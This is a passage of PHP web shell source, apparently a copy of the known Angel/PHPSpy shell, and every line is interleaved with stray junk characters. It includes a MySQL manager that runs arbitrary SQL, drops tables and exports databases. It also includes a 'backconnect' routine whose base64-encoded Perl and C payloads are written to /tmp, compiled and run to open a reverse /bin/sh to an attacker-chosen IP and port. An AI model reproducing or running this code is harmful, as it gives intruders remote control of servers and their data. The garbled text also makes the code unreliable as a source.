- }" f3 y" n& o5 O
- if ($doing == 'del' && $base64) {
! N2 H5 P/ z) [! L% Y5 r - $where = base64_decode($base64);8 I' o: D; y* U% D! |
- $delete_sql = "DELETE FROM $tablename WHERE $where";* i f) l5 m) l8 w7 V: G' e
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);* L3 B% I; s; D/ {$ w7 x, Q
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());, l* o# r1 X) i$ X
- }& Y6 }2 s! W8 ? _8 N; `* K3 N
- 3 ~ W1 p$ U0 J, o9 k
- if ($tablename && $doing == 'drop') {5 q, t. |. h2 t# R
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
/ c' Z; e+ \7 A6 V9 ? - if (q("DROP TABLE $tablename")) {0 e, {: Y1 ]+ a
- m('Drop table of success');
6 }3 g6 _8 F# P1 Z+ B) S& I - $tablename = '';
0 I3 `' ^/ C: V" @# }5 C& \ - } else {' C8 b* N, Y0 T G
- m(mysql_error());
" m% L R7 D3 u6 ?. w - }
) L+ w6 G+ l2 @ - }
+ J6 j7 S1 \; A( m - . _9 x5 T) ^) Z: L$ i
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
; o2 i! Q" Y g0 W - ! }! c$ A2 ^/ R% N: m- n
- formhead(array('title'=>'MYSQL Manager'));
) U7 N8 h4 F+ f" Z$ } - makehide('action','sqladmin');
/ k( X7 _0 ]: I. C1 ? - p('<p>');7 L9 f0 Q+ L3 ?% i4 j5 m+ M& O
- p('DBHost:');
' |% o* s5 i! V3 c4 ~6 B - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));% B) I- w3 b; f, g( `
- p(':');6 x/ ~( N9 v5 a; Q
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
8 M8 N+ ~4 M2 D - p('DBUser:');
/ Y" Y( x/ V' H& ~) l* }3 Q - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));+ x3 E6 E% e5 z# ^+ J: k. z, }" s4 g# a
- p('DBPass:');, u" f* }( q. K' z- [8 S
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));1 v$ c5 ~* t# J/ ^, z/ W
- p('DBCharset:');( R+ f, W2 C6 E0 f% U2 G+ H9 K
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
) p& @" E. {" x+ K9 K - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
5 B! a- t1 {: I* f - p('</p>');% W! U* P6 S" i
- formfoot();
2 t% w9 R1 c# `7 ?1 V1 D/ b) | - ?>1 d( U* f4 e: n" ^7 y
- <script type="text/javascript">
' O2 }2 |% N% C) \0 } - function editrecord(action, base64, tablename){
6 l Y" }1 w/ f - if (action == 'del') {
, P, S7 ?% j @. y U( D% i) D - if (!confirm('Is or isn\'t deletion record?')) return;
7 D# H1 r4 E3 h/ \, b- H% [ - }: q5 w' Y" E$ N6 W4 b; C: `
- $('recordlist').doing.value=action;
: v' D" j/ ?* n+ k - $('recordlist').base64.value=base64;
a! l% A# x7 Z& }6 m: ] - $('recordlist').tablename.value=tablename;
3 ` T( a$ X. h! ?- m3 W - $('recordlist').submit();
2 N2 G) R1 v# R2 J* o8 ~ - }& e8 ^, |8 T8 f- g0 {5 k: _
- function moddbname(dbname) {
: L" W2 v' [) F+ F: e: q" c0 f - if(!dbname) return;
! D# H7 P$ d/ s5 r7 G; \% b; A - $('setdbname').dbname.value=dbname;0 f9 g% k1 z. f$ X' Q
- $('setdbname').submit();
/ h+ _& Z3 M% p# H3 ? - }
/ h9 C* W1 c" V* a7 z: A - function settable(tablename,doing,page) { l v( g. N n5 }6 s" j8 ]% H
- if(!tablename) return;
7 k+ b. \+ Z& R - if (doing) {9 f; b/ i3 w# s; [, x/ b$ E3 P
- $('settable').doing.value=doing;
% C, j/ `7 g1 J% G - }
; n/ v. t7 g& s) h5 m2 V - if (page) {% {; B) S% c% T/ K. c
- $('settable').page.value=page;
( ~% H2 y' y0 O, r! _ - }$ r, \- C( A8 q; m+ Z
- $('settable').tablename.value=tablename;8 Q9 I7 b* a1 _
- $('settable').submit();
" j5 N& S. U) _* ^+ {9 \0 y - }
( Z) Z% e2 p! g* j - </script>
3 _6 A8 V8 K7 x* c) b* R& J7 h - <?php% }& N9 M4 g4 S; t
- //操作记录# d# e/ o( S* d% M4 u# |2 r! m" g
- formhead(array('name'=>'recordlist'));! d7 z% v' N; _& o2 D* I. q
- makehide('doing');% i/ G, s! c3 ^
- makehide('action','sqladmin');) [$ X8 u. c. x& f. m: Y
- makehide('base64');. D9 K( m( m' L; h% N4 U
- makehide('tablename');
5 G3 K, B% b5 B7 Z, r/ v& K - p($dbform);
$ L8 ]3 C Z. r7 p7 t8 y+ f5 K6 M - formfoot();
/ |# n+ ~$ F% J" Z - //选定数据库
2 C1 t6 [7 @% z* |) B8 B - formhead(array('name'=>'setdbname')); q; @ S! u8 U( v7 H! q" L
- makehide('action','sqladmin');
& t+ T, E# o m* v9 ^ - p($dbform);
, v' f) z+ t# ~8 u: l+ d- r - if (!$dbname) {& b6 n; R9 {' n
- makehide('dbname');
2 f; Z2 |2 z' U/ D: O: h - }
# Q: u' \! C0 y - formfoot();: F. Z- p7 Z2 j* B: Z" D R" ~0 H
- //选定表
3 J* [1 ^( _& V1 m8 i - formhead(array('name'=>'settable'));8 J7 _& @9 ~" Q) c/ s
- makehide('action','sqladmin');
% V4 M/ z% @* v. {$ Q n - p($dbform);& j# l: Y' i) ?% F1 C% V% h6 G/ |2 x
- makehide('tablename');
! f8 R+ ~- u9 P# G - makehide('page',$page);# p0 U6 |& k4 d6 X
- makehide('doing');
; {/ t3 w4 Y# S# f1 h5 s. V8 E - formfoot();
( A& K; V* w' I* ^1 U, ^ - $cachetables = array(); 2 ?* u# Z6 b1 K
- $pagenum = 30;
4 Q& ^! e! j8 j, `" h: ?7 _& e - $page = intval($page);4 |) W) p- G$ @ ^
- if($page) {
8 [2 t, Q; E+ f# G G5 P6 ` - $start_limit = ($page - 1) * $pagenum;( V! x" B( p9 \# c& I# G/ l \
- } else {" p X! S# H/ G2 b
- $start_limit = 0;* Z R& g* `( N3 \3 F$ s8 K3 Z( a
- $page = 1; u+ s" K' i" g T
- }! z1 ?& e4 q' ^. ^; X9 T. u8 x- p
- if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
* |6 ~( n# p, l" v. A% K5 b: i - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
n( F: j, R- o- m - //获取数据库信息: }3 T( T& J; n- c" _5 W: |( A: U( G
- $mysqlver = mysql_get_server_info();; ]- h8 M, a0 x+ m# n( N7 Y
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');! J% l# U; n8 h- d( t2 S
- $highver = $mysqlver > '4.1' ? 1 : 0;
2 N0 ~2 ~ s# {* {3 [; ~ - //获取数据库* \: b; G4 g/ S5 O9 n
- $query = q("SHOW DATABASES");, g; c; }, Q% J U
- $dbs = array();- Z9 X& X- x* b8 [* s' n( k9 Z
- $dbs[] = '-- Select a database --';& ]( Z7 a) P9 A5 z2 \$ h! ]
- while($db = mysql_fetch_array($query)) {4 y! y3 Y& @- m1 X6 q
- $dbs[$db['Database']] = $db['Database'];2 l" c3 I, Z9 b x# T" R, ]
- }
: b, ~( O8 X6 {( r( x. J1 [ - makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));& o$ H& H8 j/ b" f/ x* {9 a0 i
- $tabledb = array();" A* Y: v+ T! Z+ B2 ]% C6 p+ x
- if ($dbname) {; x; e$ m6 Z, y; [; {. }+ I
- p('<p>');2 d- m1 Q* n0 i& J
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');- Q; R+ x: M6 f* [# o
- if ($tablename) { z2 ~7 [( L% b* \. a) {% a
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
% t- l R: t' h5 r$ _ - }% [: A/ T8 Q, |5 u
- p('</p>');+ R9 r; D) s3 j6 G0 `/ Q4 |2 z. g
- mysql_select_db($dbname);
) T! y0 L/ B. s0 X - $getnumsql = '';
3 Y4 W( ?' T5 X - $runquery = 0;
8 s" A6 r$ m! W a7 V7 a6 p5 G! f: U - if ($sql_query) {: m' ^9 L( G5 W5 c7 n1 Y
- $runquery = 1;
+ [& h- G4 f" i5 w - }
" t: c2 d/ s) R - $allowedit = 0;
4 ?& B) @* g7 b! q% ` f* K/ p4 y9 u( o - if ($tablename && !$sql_query) {
) i$ @. V0 \6 W: a$ L - $sql_query = "SELECT * FROM $tablename";
0 Q# I, q* a, [1 u6 X3 X6 e - $getnumsql = $sql_query;+ R3 U- W6 ^' d. D( l
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";9 O9 r8 r' G& ^3 u- {
- $allowedit = 1;
7 ]$ i/ s8 r ^9 P; ~ - }0 z% g) ~; F6 G6 H" l
- p('<form action="'.$self.'" method="POST">');
' {, G- m. e% U$ M& ?8 U - p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
. K9 F: R# I+ {1 t3 g - makehide('tablename', $tablename);
1 C. N- r; a& b$ ]6 ` - makehide('action','sqladmin');9 B) \1 H, p ], s8 E
- p($dbform);% G0 b) V S" L7 w2 ]
- p('</form>');
# d+ J7 G7 d! k2 x0 y* l' }: O - if ($tablename || ($runquery && $sql_query)) {( ?, m. z" G: m6 { [
- if ($doing == 'structure') {
~9 O% k" }5 z: T& J* } - $result = q("SHOW COLUMNS FROM $tablename");2 v! |7 V, ]! U% W
- $rowdb = array(); D) z- o" R$ A: V
- while($row = mysql_fetch_array($result)) {/ z+ f+ u. J/ G- r o, {/ r) Q" j) M+ a
- $rowdb[] = $row;
2 G; _4 J# A. `+ e6 C9 |; a! h - }
& t8 o' I* s3 I3 ]9 B# k - p('<table border="0" cellpadding="3" cellspacing="0">');: [9 W1 t8 Q1 a) }% }& _+ J6 u
- p('<tr class="head">');
4 S; D! j; n7 C9 {. U- w' Y7 y3 s% K - p('<td>Field</td>');9 g- f" X" ]* f M2 V5 d% \ E
- p('<td>Type</td>');, p. A5 R" |' p7 Q4 t3 L
- p('<td>Null</td>');1 b, n; ~7 ]4 g0 o
- p('<td>Key</td>');
* q' j7 P' X! E" a - p('<td>Default</td>');
: o0 j2 Z$ e1 l! l - p('<td>Extra</td>');
/ S- q9 O1 W" e2 R& I - p('</tr>');
9 H9 j; J, m: b - foreach ($rowdb as $row) {! y9 H# M: @" u, A- m% b% ?
- $thisbg = bg();
- T C2 D9 n6 P$ z1 {3 A - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');' p9 P5 y y+ T
- p('<td>'.$row['Field'].'</td>');9 R5 o# J7 P5 p. K
- p('<td>'.$row['Type'].'</td>');
5 {3 X3 _( |. o7 e r4 K - p('<td>'.$row['Null'].' </td>');7 E3 `5 K. s+ H f$ z
- p('<td>'.$row['Key'].' </td>');
/ A0 e6 A$ u- \5 ~: a# {( v - p('<td>'.$row['Default'].' </td>');
4 h; U# i1 ]# U) B - p('<td>'.$row['Extra'].' </td>');9 G) }" A7 ?% r \2 C1 ] l
- p('</tr>');7 f2 l9 `; x* P3 n/ t; Y7 H& R: @
- }
1 a/ @. k B4 U; x - tbfoot();: \7 v) I- x& `, i" |
- } elseif ($doing == 'insert' || $doing == 'edit') {
K1 e1 g; o! L# \+ o9 T - $result = q('SHOW COLUMNS FROM '.$tablename);
. s) @2 h: U: {3 O) P - while ($row = mysql_fetch_array($result)) {
$ F0 b/ i1 r; t* _- f - $rowdb[] = $row;8 N! j% Z$ K x" T
- }
+ s/ E# R u- p5 t5 R) z - $rs = array();
! Y3 Q! @8 T6 O: F - if ($doing == 'insert') {& {) n" F% X+ k. I& P7 S U
- p('<h2>Insert new line in '.$tablename.' table »</h2>');
# I- r$ @; B$ r* w# B - } else {& I! L& C$ t5 f% U
- p('<h2>Update record in '.$tablename.' table »</h2>');
$ m+ R8 Y- @9 a( h - $where = base64_decode($base64);
5 j# [$ k8 r! i! }6 Y: m; `! c - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");# |) K; _# s. {8 q7 }) a
- $rs = mysql_fetch_array($result);1 b4 G% A0 {7 k0 H8 W' H
- }3 Z" P/ {; C5 v
- p('<form method="post" action="'.$self.'">');
. g0 J2 q% M" m- h: a% P - p($dbform);
3 q9 W4 R6 P4 U, l: \ - makehide('action','sqladmin');
6 r! ^+ _7 `! V# f+ j& c; K! @- e - makehide('tablename',$tablename);1 a& H1 c! E8 f) d" S
- p('<table border="0" cellpadding="3" cellspacing="0">');
5 L6 [, V4 [* [( \7 d2 k" R8 p - foreach ($rowdb as $row) {* `8 S! X4 O# C
- if ($rs[$row['Field']]) {5 j1 N( X( C- _, T: W
- $value = htmlspecialchars($rs[$row['Field']]);
/ p2 b2 K8 Z2 V$ v - } else {
# Y6 u6 H0 H" t( Q - $value = '';
9 u. N) G& n/ v* | - }
, K* M9 G% |6 H b3 j9 _ - $thisbg = bg();$ {, O1 ]+ n: Q7 H
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" g9 |$ ^/ |; z9 m1 p& `5 f6 P
- p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');3 h- Z0 t# v( T" g; I0 A
- }4 q* {& P5 z0 {$ f+ }
- if ($doing == 'insert') {
+ s4 y% c5 N. L' @ - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
: N5 I' D. Y! {( I$ a - } else {
5 i& u! p/ ~( w, x5 c+ P9 K+ D - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
' k% r+ l0 m' q7 m7 P W - makehide('base64', $base64);. r& r4 X( C+ X
- }' D7 v+ \ S* e) A
- p('</table></form>');- F5 J$ q! m6 K
- } else {
2 ^9 N" K4 q" b2 i - $querys = @explode(';',$sql_query);# t' w& N3 F% ^( I( ~' W- T
- foreach($querys as $num=>$query) {4 Q3 ]$ q4 y2 n
- if ($query) {
8 P" G( ]1 B8 d, Q& P* T5 H- f. p - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");# ~* Q8 \8 E5 c3 I# I+ v
- switch(qy($query))' |, g9 e2 `0 C# N: g
- {
4 k( N+ w! z% J. k# d( E - case 0:
$ [7 V- V5 ]+ K" h. C, |- e* Y - p('<h2>Error : '.mysql_error().'</h2>');
: G% Z5 Y/ m/ C3 ~ - break;
7 Q9 b- x4 G0 w) _/ q2 N5 _7 s) t - case 1:, d6 E/ N0 L2 o$ Y+ n. L0 K
- if (strtolower(substr($query,0,13)) == 'select * from') {# i, x; `7 C( j9 [9 E
- $allowedit = 1;' C7 P r" P% e$ f/ J" S
- }
; r) F' J7 _' y, O- N' J5 n3 l - if ($getnumsql) {0 @; @5 @0 V/ j2 u7 ~2 f
- $tatol = mysql_num_rows(q($getnumsql));3 z" D: r% y& @1 i! H5 c3 ^1 L$ {' ]
- $multipage = multi($tatol, $pagenum, $page, $tablename);: y9 w2 ~9 d ^
- }0 X; v* i0 d! D! ~
- if (!$tablename) {( P& S. u9 r7 D' Z6 E4 E# n, E
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
% {: p7 Q7 t- u7 U - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);, j& A7 ~, n) S' v V( U
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
9 P/ }" J4 a6 k& b - $tablename = $matches[1][0];- L8 x0 o) i, @) {* S1 O6 N
- }
, c/ r, G8 {8 @/ g8 \ - $result = q($query);0 ]1 d- ~6 M, ~) L
- p($multipage); c7 A8 s4 F4 f8 s/ F; R7 _* q& y
- p('<table border="0" cellpadding="3" cellspacing="0">');
7 E0 z6 Y2 }) y' X" s* p2 k# J - p('<tr class="head">');1 v2 E! G4 k0 x' o; A
- if ($allowedit) p('<td>Action</td>');0 g8 m+ U1 s1 j+ l. q. b
- $fieldnum = @mysql_num_fields($result);
' Y2 c% g p x) L& c0 _ - for($i=0;$i<$fieldnum;$i++){
# z, o& B! z k% d/ o - $name = @mysql_field_name($result, $i);
6 j a8 M! H; ^5 ^! I7 [ - $type = @mysql_field_type($result, $i);
* k- u1 f& [* x( [1 O# C" Q - $len = @mysql_field_len($result, $i);% h. Y) V& c+ b3 ^: m2 _8 K: E
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
( H" N# H C; @9 b+ q" c - }6 X& I( q: U1 Y$ _: E2 g3 B. c, l: W
- p('</tr>');+ r9 h$ l9 V: J8 Y' T; _
- while($mn = @mysql_fetch_assoc($result)){ j& t( s* S$ \, |
- $thisbg = bg();
1 O4 s- X1 U0 `" P- p% a2 o - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- c+ P( n7 L$ e
- $where = $tmp = $b1 = '';1 s5 b9 v% x7 j/ j* i
- foreach($mn as $key=>$inside){# I* r! v% f3 e7 i7 Z0 A
- if ($inside) {2 F; E7 h+ P( b4 f8 X: U
- $where .= $tmp.$key."='".addslashes($inside)."'";) x, \7 o/ Q2 ] h% k
- $tmp = ' AND ';2 g& z$ J; }4 u9 [7 ?+ i
- }; z5 n* v9 M$ C/ U* c8 T) P
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';( e7 e. a' Y/ d4 a
- }
! T6 W `2 s5 @5 s8 p0 L - $where = base64_encode($where);
+ {4 L6 }: j1 G. A! p( W V, e - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');, Y' O3 K* q8 c! W$ ~6 Z2 k( l
- p($b1);
1 ]; `" p1 u7 s3 U; o0 Z8 U - p('</tr>');/ w3 j+ j+ x! z1 y
- unset($b1);
- g3 H. V& f5 }3 Y3 [$ l - }( L/ c c! u' b
- tbfoot();
0 d/ e0 [- ~$ S/ i - p($multipage);
, ` Z5 ]+ u* Q% K& h* s" t - break;
* c2 D: d1 M, h" o - case 2:
( C. S' `; a' k" @/ J - $ar = mysql_affected_rows();
) r/ \3 P4 s$ {8 r$ G0 `6 s - p('<h2>affected rows : <b>'.$ar.'</b></h2>');
6 Z- x! S3 M0 B/ v0 R- K - break;. P' f; d( Y$ A$ |& z
- }
% M T+ B# m6 j5 p8 ~ - }( ^+ a6 b8 o+ y9 P# @
- }
) b. ^: o; m+ J2 k5 z. Y( X - }+ q1 f# U& b* O) ]* i# s2 P9 Y7 n
- } else {- w6 W+ |5 `9 l& t0 L+ N6 h
- $query = q("SHOW TABLE STATUS");, _( \) Z8 f8 K+ A9 e
- $table_num = $table_rows = $data_size = 0;1 Q( ~) }+ Q/ p
- $tabledb = array();6 F2 B1 O& Y m3 q" b
- while($table = mysql_fetch_array($query)) {+ Q- D; i& t/ }8 a* o; Z% w
- $data_size = $data_size + $table['Data_length'];1 ^. K. G5 D! l- i9 S
- $table_rows = $table_rows + $table['Rows'];0 y* l! M: w- q5 K- L. R2 f
- $table['Data_length'] = sizecount($table['Data_length']);- l, F2 d# K/ |7 h9 S: l+ V
- $table_num++;1 Z4 e# w1 j `5 z0 @% A
- $tabledb[] = $table;7 V$ d; {, L' P5 m% g- ^7 |
- }' [5 b7 P5 N* C
- $data_size = sizecount($data_size);+ t' v1 }+ K" ]8 f. E# R: o
- unset($table);
1 G( I# ]/ _7 G0 V5 _/ N# J2 o+ q - p('<table border="0" cellpadding="0" cellspacing="0">');: f3 I) D- m( B
- p('<form action="'.$self.'" method="POST">');+ Z! F& G- I" b6 _9 q1 g+ G
- makehide('action','sqladmin');6 t8 p/ a1 M/ }; }# O% g' J$ k
- p($dbform);
$ f( _' q& a0 h+ g2 e - p('<tr class="head">');3 I; P/ x. o8 i5 v+ G" z0 |& Y; l
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');8 ]5 C0 h2 s$ d
- p('<td>Name</td>');
" m* t% E$ G- l" Z' N- @% v - p('<td>Rows</td>');
; M8 ]: ]$ R3 `, [$ S4 l - p('<td>Data_length</td>');
0 X% K* h1 r# f8 r0 T, G2 Q - p('<td>Create_time</td>');
' b' R* X0 D& E2 x+ I - p('<td>Update_time</td>');/ |8 }1 R0 Q+ k3 E
- if ($highver) {
) Q! w. F) g; M' A; B - p('<td>Engine</td>');0 j1 A& s# P4 k8 u& ]9 p$ c
- p('<td>Collation</td>');
% Y; f2 T0 X6 S( I1 O* v - }
! O% u T, F) p9 F - p('</tr>'); \( P0 A/ l; E8 y6 F2 L1 T
- foreach ($tabledb as $key => $table) {
% Z" ]0 `# ~) `0 D, [ - $thisbg = bg();2 X& h3 J. d5 ^8 F0 G8 E
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
# y! [) F! _& ?% r! B7 D4 C - p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');( H7 N- _% F7 W( _
- p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
% i' f2 J, Y2 @. W- P; J - p('<td>'.$table['Rows'].'</td>');, F6 R9 i z& X; I
- p('<td>'.$table['Data_length'].'</td>');
, U8 N% c, i1 j, o - p('<td>'.$table['Create_time'].'</td>');
" p, Q# V. H1 {4 x& c: j4 B - p('<td>'.$table['Update_time'].'</td>');
' E+ \2 l* }( H) g0 f, f - if ($highver) {) j; z4 F; T( V7 P! r! Z
- p('<td>'.$table['Engine'].'</td>');( j5 j( X9 m6 A, O
- p('<td>'.$table['Collation'].'</td>');+ v+ P8 v) o+ K7 g
- }
$ Y7 K" z! a2 T/ I: a0 V K) l' s; I - p('</tr>');+ x2 R" }& ?' R, C9 B, ^9 r
- }
- Q+ G2 p' ~" p& Y4 ` - p('<tr class='.bg().'>');2 v+ q o9 V* v
- p('<td> </td>');
' C* u+ y* G4 m/ k - p('<td>Total tables: '.$table_num.'</td>');; t) u. c, E+ d0 e) q6 Q3 u6 u2 q
- p('<td>'.$table_rows.'</td>');
& [6 B, i3 ^" Z) d& R( j - p('<td>'.$data_size.'</td>');! b' P7 f* u: w( H) F+ R+ n, j. \
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');# u. D4 l: j3 r! o2 d7 U
- p('</tr>');
/ a- k2 o4 u- } - p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
* |! U$ ~6 i6 c2 q - makehide('doing','backupmysql');1 C: M! p2 Y \. ?) @
- formfoot();3 V. u1 P: A# H6 V
- p("</table>");2 m, n( Y9 ?, n: C7 c9 F* `
- fr($query);
+ Q, P# t# J( E - }
! v3 i* G2 S* ?" S( {) k - }
`) [: o6 k/ o1 j" s) D7 I - }. m5 v) x; K% [/ |
- tbfoot();
9 y9 O/ h9 F7 z4 V; f - @mysql_close();
5 J- m' V1 s* X3 S - }//end sql backup
! Y# b$ I1 @8 T, f& E - elseif ($action == 'backconnect') {* k8 _/ a7 t) @$ G1 O+ g4 x
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];! ]& C; M( K5 D9 {1 L) Q
- !$yourport && $yourport = '12345';
# M- G4 P7 ^1 `! a2 N - $usedb = array('perl'=>'perl','c'=>'c');
" d# K, A# N0 s$ M9 _! `! K; B, M( w \; c - $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".) s) {7 j) J& J
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
' x* t/ y" Z0 Q5 ~- x8 A - "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".8 n% I6 p4 ~9 d+ C( v9 c& O% a
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".- b5 Z( c2 W" v0 X ]9 K
- "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
+ b. \: X/ V, a - "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
* K2 K9 X) T. b2 W& _ - "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1 M/ W$ X* C8 U C9 y7 r) @ - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".4 c, K. a. Z! D) n& U+ V
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
& h t' j! ^2 Q2 _! l& b1 \& b - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".8 I/ _7 R' \% ~, N8 i+ {; w
- "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".' c2 t! K) S4 t- e
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
7 `% r% r& ?1 g - "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
& P1 }% ^7 d% L: d$ _* M0 y) K4 e! ]# k* W - "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".' b( S, [6 e' v
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";% z. M3 E! m% a$ O5 ?9 `" D
- if ($start && $yourip && $yourport && $use){) M# _' n4 f$ m& q' \* v
- if ($use == 'perl') { j% y* L; A. r, B1 x
- cf('/tmp/angel_bc',$back_connect);
/ z) `8 C: z/ O% P9 L7 B! o - $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");7 c. |4 [9 N! K% ^
- } else {# S: k8 {5 E; L" `/ u7 A6 g
- cf('/tmp/angel_bc.c',$back_connect_c);
j8 u6 X% g/ q( m( h - $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');) x$ { b j. @) r u+ x( ~# g5 _
- @unlink('/tmp/angel_bc.c');, \) [9 E- p9 ~0 t
- $res = execute("/tmp/angel_bc $yourip $yourport &");* g; Q. i2 P+ D3 a6 D2 f
- }, ?# i" u3 ]/ s; r
- m("Now script try connect to $yourip port $yourport ...");
